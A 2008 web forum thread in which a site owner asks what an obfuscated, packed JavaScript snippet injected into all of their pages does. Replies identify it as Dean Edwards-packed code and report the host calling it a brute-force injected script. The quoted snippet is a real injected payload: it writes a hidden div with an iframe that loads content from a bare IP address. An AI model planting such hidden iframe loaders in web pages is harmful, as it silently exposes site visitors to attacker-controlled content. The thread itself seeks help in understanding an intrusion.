Will you please help me about this script

Discussion in 'JavaScript' started by PinoyIto, Apr 17, 2008.

  1. #1
    I have noticed today that all my sites have the following codes injected to them with out my knowledge.

    ?><script>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('9.3("<0 f=\'e:d;\' b=\'a.c\'><1 8=\'5://2.7.6.4/g/\'></1></0>");',17,17,'div|iframe|78|write||http|202|129|src|document|vers_06|class||none|display|style|ad'.split('|'),0,{}))</script>
    Code (markup):
    Does any knew what this code all about and why they were suddenly in my site pages...
     
    PinoyIto, Apr 17, 2008 IP
  2. GreatMetro

    GreatMetro Peon

    Messages:
    117
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    0
    #2
    that function is when you have an encrypted piece of javascript. It was encrypted/shrunk using dean edwards packer (see the function? (p,a,c,k,e,r) that tells you it's dean edwards packer.

    more info at http://dean.edwards.name/packer/
     
    GreatMetro, Apr 19, 2008 IP
  3. PinoyIto

    PinoyIto Notable Member

    Messages:
    5,863
    Likes Received:
    170
    Best Answers:
    0
    Trophy Points:
    260
    #3
    I have ask my server about this also and they said it's a brute force injected script.
     
    PinoyIto, Apr 23, 2008 IP